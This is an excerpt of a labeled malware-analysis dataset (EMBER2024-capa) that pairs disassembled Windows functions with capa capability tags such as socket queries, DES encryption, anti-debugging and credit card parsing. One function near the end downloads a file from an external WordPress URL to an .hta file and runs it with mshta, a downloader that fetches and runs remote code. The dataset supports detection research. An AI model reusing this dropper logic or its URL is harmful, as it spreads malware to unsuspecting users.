joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008a530
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140009370]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, qword [rcx + 0x218]
mov rsi, qword [rcx]
mov rbx, rcx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, rbp
or rdi, 0xffffffffffffffff
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14008a5a1
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, rbp
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_accept]
mov rdi, rax
mov rdx, rbp
mov rcx, rbx
call fcn.140076810
mov rcx, rsi
cmp rdi, 0xffffffffffffffff
jne 0x14008a5c6
lea rdx, [0x14001ca20]
call fcn.1400730f0
lea eax, [rdi + 0x1f]
jmp 0x14008a62d
lea rdx, [0x14001c9f8]
call fcn.140073040
mov edx, 1
mov rcx, rdi
mov dword [rbx + 0x568], 0
mov qword [rbx + 0x218], rdi
call fcn.1400998f0
mov dword [rbx + 0x234], 1
mov rax, qword [rsi + 0x278]
test rax, rax
je 0x14008a62b
mov rcx, qword [rsi + 0x280]
mov r8d, 1
mov rdx, rdi
call rax
test eax, eax
je 0x14008a62b
mov rcx, rbx
call fcn.14008a400
mov eax, Ordinal_46
jmp 0x14008a62d
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14004ebb0
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14008e110
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, 0x51eb851f
mov edi, r8d
mov r8d, edx
xor ebx, ebx
mov rsi, rcx
mov rcx, qword [rcx]
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edx, 2
je 0x14008e162
lea rdx, [0x14001d598]
call fcn.1400730f0
lea eax, [rbx + 0x11]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp r8d, 0xc8
je 0x14008e177
lea rdx, [0x14001d560]
call fcn.140073040
cmp edi, 0x13
jne 0x14008e186
mov rcx, rsi
call fcn.14008e090
jmp 0x14008e1b1
cmp edi, 0x14
jne 0x14008e195
mov rcx, rsi
call fcn.14008b080
jmp 0x14008e1b1
cmp edi, 0x15
jne 0x14008e1a4
mov rcx, rsi
call fcn.14008e0f0
jmp 0x14008e1b1
cmp edi, 0x16
jne 0x14008e1b3
mov rcx, rsi
call fcn.14008e100
mov ebx, eax
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14008e8a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx]
mov ebx, dword [rcx + 0x9ec]
mov eax, 0x51eb851f
imul edx
sar edx, 5
mov rdi, rcx
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edx, 2
je 0x14008e92c
test ebx, ebx
jne 0x14008e8ea
lea rdx, [0x14001d610]
mov rcx, rsi
call fcn.140073040
mov dword [rdi + 0x58c], ebx
inc ebx
cmp ebx, 2
jne 0x14008e913
lea rdx, [0x14001d5f8]
mov rcx, rsi
call fcn.1400730f0
lea eax, [rbx + 0x1c]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov edx, ebx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x14008a890
lea rdx, [0x14001d5d8]
mov rcx, rsi
call fcn.140073040
xor edx, edx
mov rcx, rdi
call fcn.14008a750
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14008e700
Function at 0x140095b30
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x148
mov rax, qword [0x140009370]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.1400614cc
mov byte [rsp + 0x20], 0
test rax, rax
je 0x140095b96
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x140095b96
lea rcx, [rsp + 0x20]
call qword [fcn.14000ac58]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14004ebb0
add rsp, 0x148
ret
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14004ebb0
add rsp, 0x148
ret
jmp 0x140095b30

Function at 0x140095bb0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x148
mov rax, qword [0x140009370]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.1400614cc
mov byte [rsp + 0x20], 0
test rax, rax
je 0x140095b96
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x140095b96
lea rcx, [rsp + 0x20]
call qword [fcn.14000ac58]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14004ebb0
add rsp, 0x148
ret
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14004ebb0
add rsp, 0x148
ret
jmp 0x140095b30

Function at 0x1400998f0
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
xor eax, eax
test edx, edx
lea r8, [rsp + 0x38]
setne al
mov edx, 0x8004667e
mov dword [rsp + 0x38], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x14009c5e0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov byte [rcx], 0
mov edx, ebx
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x14009c619
lea edx, [rax + 0x2e]
mov rcx, rdi
call fcn.14005b814
test rax, rax
je 0x14009c617
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14009c6f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140009370]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rdi, rcx
mov rsi, r8
mov rbx, rdx
lea rcx, [rsp + 0x48]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x40], 8
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14009c7c1
xor eax, eax
lea rdx, [rsp + 0x64]
mov rcx, rsi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov word [rsp + 0x58], 0x208
mov dword [rsp + 0x5c], 0x6601
mov dword [rsp + 0x60], 8
mov dword [rsp + 0x68], eax
call fcn.14009c650
lea rcx, [rsp + 0x64]
mov edx, 8
call fcn.1400a1cb0
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
lea r11, [rsp + 0x50]
lea r8d, [r9 + 0x14]
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x28], r11
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x14009c7c5
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x14009c812
mov ecx, dword [rsp + 0x40]
mov rax, qword [rdi]
xor r9d, r9d
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rbx], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14004ebb0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14009c840
Capabilities:
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
mov rdx, rdi
mov rcx, rsi
call fcn.14009c6f0
lea r8, [rbx + 7]
lea rdx, [rdi + 8]
mov rcx, rsi
call fcn.14009c6f0
lea r8, [rbx + 0xe]
lea rdx, [rdi + 0x10]
mov rcx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14009c6f0
Function at 0x14009c990
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
mov rbx, r8
mov rbp, rdx
not rcx
dec rcx
mov rsi, rcx
add rcx, rcx
call qword [fcn.14000ac40]
mov rdi, rax
test rax, rax
jne 0x14009c9d7
lea eax, [rdi + 0x1b]
jmp 0x14009ca93
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call fcn.14009c960
lea rcx, [rsp + 0x38]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14009ca80
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14009ca73
mov rcx, qword [rsp + 0x30]
lea r8d, [rsi + rsi]
xor r9d, r9d
mov rdx, rdi
mov dword [rsp + 0x68], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x68]
mov r8, rbx
mov edx, 2
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, rdi
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], al
call qword [fcn.14000ac48]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14009f4f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rdi, r8
cmp dword [rcx + 8], 3
mov rsi, rdx
jne 0x14009f53a
mov rax, qword [rbx + 0x18]
test rax, rax
jne 0x14009f52a
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rcx + 0x10]
mov edx, 1
mov rcx, rsi
call rax
jmp 0x14009f582
cmp qword [rbx + 0x10], 0
jne 0x14009f56e
mov rcx, qword [rcx + 0x10]
lea rdx, [0x140015b34]
call fcn.14004f5fc
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x14009f56e
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rbx + 0x10]
mov r8, rdi
mov edx, 1
mov rcx, rsi
call fcn.140050268
mov rdi, rax
test rax, rax
jne 0x14009f5a5
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14009f59c
call fcn.14004f3bc
mov qword [rbx + 0x10], rdi
mov rax, qword [rbx]
mov rcx, qword [rax]
mov qword [rbx], rcx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x1400a27d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov r12d, r8d
lea r9d, [rax + rax]
mov eax, dword [rcx + 0x20]
mov rbp, rdx
lea rcx, [r9 + rax + 0x18]
call qword [fcn.14000ac40]
mov rdi, rax
test rax, rax
jne 0x1400a2811
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp r12d, dword [rbx + 0x1c]
jbe 0x1400a2855
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, r12d
mov rdx, rbp
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov ebp, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add rbp, qword [rdi + 0x10]
mov rcx, rbp
call qword [rbx + reloc.WS2_32.dll_recv]
mov r12d, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test r12, r12
je 0x1400a28b4
mov rsi, r12
nop dword [rax + rax]
movzx eax, byte [rbp]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
movzx r11d, byte [rbp]
lea rdx, [rsp + 0x40]
xor r11b, 0x5c
mov r8d, 1
inc rbp
mov byte [rsp + 0x40], r11b
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
dec r12
jne 0x1400a2870
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400a28f3
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400214c9]
mov r8d, 1
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400214ca]
mov r8d, 1
call qword [rbx + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400a28c0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret

Function at 0x1400a2efc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x1400a2f36
call fcn.14005192c
and dword [rax], 0
call fcn.14005190c
and qword [rsp + 0x20], 0
mov ebx, reloc.WLDAP32.dll_Ordinal_22
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.14004facc
mov eax, ebx
jmp 0x1400a2f86
test edx, 0xfffffff9
jne 0x1400a2f09
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400a2f5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14005194c
call fcn.14005190c
mov eax, dword [rax]
jmp 0x1400a2f86
test al, 0x10
jne 0x1400a2f84
test al, 1
je 0x1400a2f84
test bl, 2
je 0x1400a2f84
call fcn.14005192c
mov dword [rax], 5
call fcn.14005190c
mov dword [rax], reloc.WS2_32.dll_listen
jmp 0x1400a2f56
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140001440
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rdi, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
mov r8, rdi
sub r8, rdx
nop dword [rax + rax]
movzx ecx, word [rdx]
movzx eax, word [rdx + r8]
sub ecx, eax
jne 0x1400014a4
add rdx, 2
test eax, eax
jne 0x140001490
test ecx, ecx
je 0x1400014cb
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001480
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x1400014e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001521
xor eax, eax
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x50], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rbx, eax
xor ecx, ecx
mov rdx, rbx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x50]
test eax, eax
je 0x140001596
cmp dword [rsi], 0x905a4d
jne 0x140001596
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x40
pop rdi
ret

Function at 0x140001730
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
movsxd rdx, ecx
lea rcx, [0x1400016e0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [0x14000b2d0]
add rsp, 0x28
ret
Function at 0x14000841c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008466
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008466
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008466
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008466
cmp dword [rcx + 0x84], 0xe
jbe 0x140008466
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008468
xor al, al
add rsp, 0x28
ret
Function at 0x140011bbc
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov rcx, qword gs:[0x60]
mov r8, qword [rbx + 0x28]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
nop dword [rax + rax]
mov r8, qword [rbx + 8]
and qword [rbx + 0x28], 0
cmp dword [r8], 2
jne 0x140011c13
mov rcx, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
nop dword [rax + rax]
and qword [rbx + 8], 0
mov r8, qword [rbx + 0x18]
cmp dword [r8], 2
jne case.default.0x140011c54
mov rcx, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
nop dword [rax + rax]
and qword [rbx + 0x18], 0
mov rcx, qword gs:[0x60]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x30]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.ntdll.dll_RtlFreeHeap]
pop rdi
xchg ecx, eax
or eax, 0x9c97d92a
add edi, ebp
adc al, 0x50
xor al, 0x14
ret
cli
or eax, 0xe693c01f
movsb byte [rdi], byte [rsi]
scasb al, byte [rdi]
shr bh, 1
insd dword [rdi], dx
invalid
and byte [rdx + 0x6003ee1d], ch
in al, dx
push rax
loop 0x14003f9dd
xchg esp, eax
jbe 0x14003f972
ret
sbb dh, byte [rbx - 0x7640aa0a]
hlt
push rdx
and ecx, dword [rcx + 0x60f214de]
mov ecx, 0x857eccea
fild word [rbp + 0x7a]
pop rdi
fdivr st(0), st(0)
jnp 0x14003f9aa
cli
lodsd eax, dword [rsi]
mov ebp, 0x3ec51c9b
std
mov bh, bh
invalid
Function at 0x723b80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x009abb00]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x723bf2
mov rcx, r10
call fcn.00723a70
test eax, eax
je 0x723bf2
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x723bef
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x723be6
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x723bf2
add r8, 0x28
cmp r8, r9
jne 0x723bd1
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x8a8a50
Capabilities:
Parse credit card information

Disassembly:
mov rax, qword [rcx + 0xb8]
cmp qword [rcx + 0xb0], rax
je 0x8a8a90
mov eax, dword [rcx + 0x88]
test eax, eax
je 0x8a8a78
cmp eax, 2
je 0x8a8a80
cmp eax, 1
je 0x8a8a88
ret
jmp fcn.008a8bf0
jmp fcn.008a99b0
jmp fcn.008a9010
mov dword [rcx + 0x90], 0x1b
ret

Function at 0x140bb9548
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push r10
movabs rbp, 0x72437b154c806d8b
mov rbp, qword [rsp + 0x10]
jno 0x140bef7f1
or bh, byte [rdx + 0x21834636]
cmc
invalid
add qword [rsp + 0x30], 0xffffffffbf532f0c
movabs rsi, 0x1a642fb459886ff5
call fcn.140be0134
invalid

Function at 0x140c588f7
Capabilities:
Execute anti-debugging instructions

Disassembly:
add rdi, rcx
jmp 0x140cb850b
push r9
push rdx
mov dl, 9
bswap rdx
cwd
push rsi
push rax
push r12
movzx ax, r10b
rdtsc
push rdi
mov al, 0x3f
movsx eax, r9w
push r10
push r8
push r11
cdq
mov r11b, r11b
movzx r8w, r8b
push rbx
movzx bx, r12b
movsx r11w, dl
not edi
push rcx
sets r10b
rdtsc
push r14
movsx rdi, r8w
xchg r11w, dx
push r13
push rbp
push r15
cwd
pushfq
and dh, 0xd5
xor cx, ax
movabs r11, 0
btc r10w, si
push r11
mov r8, qword [rsp + 0x90]
neg r8d
bts cx, cx
rdtsc
mov r10b, r10b
rol r8d, 3
lahf
sub r8d, 0x40b351d8
ror r8d, 3
bts ax, ax
test r10w, 0x493b
cdq
lea r8, [r8 + r11]
mov cl, 0xc0
ror ebx, cl
movabs rdx, 0x100000000
rcr ch, cl
or bh, al
xor r10, 0x25e60ee9
add r8, rdx
movsx rcx, di
setle bh
mov r10, rsp
add dil, 0x79
sub rsp, 0x180
and rsp, 0xfffffffffffffff0
cmovl bx, bp
mov rbx, r8
and dil, r14b
test bl, r15b
movabs rax, 0
sub rbx, rax
rcl cl, cl
sal cl, 0x43
shrd di, bp, 0xc3
lea rdi, [0x140c589ee]
mov ecx, dword [r8]
add r8, 4
xor ecx, ebx
ror ecx, 3
test r14b, 0xaa
test spl, r8b
xor ecx, 0x60d26748
rol ecx, 1
inc ecx
jmp 0x140c60a9f
rol ecx, 1
cmp al, r13b
push rbx
btr rbx, rbx
xor dword [rsp], ecx
pop rbx
movsxd rcx, ecx
cmc
test eax, 0xd57648e
jmp 0x140c324fe
push rdi
ret
Function at 0x32fd813a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x32fd815b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.32fd822b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.32fd822b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x32fd81620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x32fd87064]
mov r12, rcx
test ebx, ebx
jle 0x32fd81750
mov rax, qword [0x32fd87068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x32fd8166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x32fd816f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x32fd81650
mov rcx, r12
call fcn.32fd81da0
mov rsi, rax
test rax, rax
je 0x32fd81772
mov rax, qword [0x32fd87068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.32fd81ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x32fd87068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x32fd81757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x32fd816ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x32fd81700
add dword [0x32fd87064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x32fd87068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x32fd816ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.32fd815b0
nop dword [rax]
xor ebx, ebx
jmp 0x32fd81677
mov rax, qword [0x32fd87068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.32fd815b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.32fd815b0
nop
nop word cs:[rax + rax]
nop dword [rax]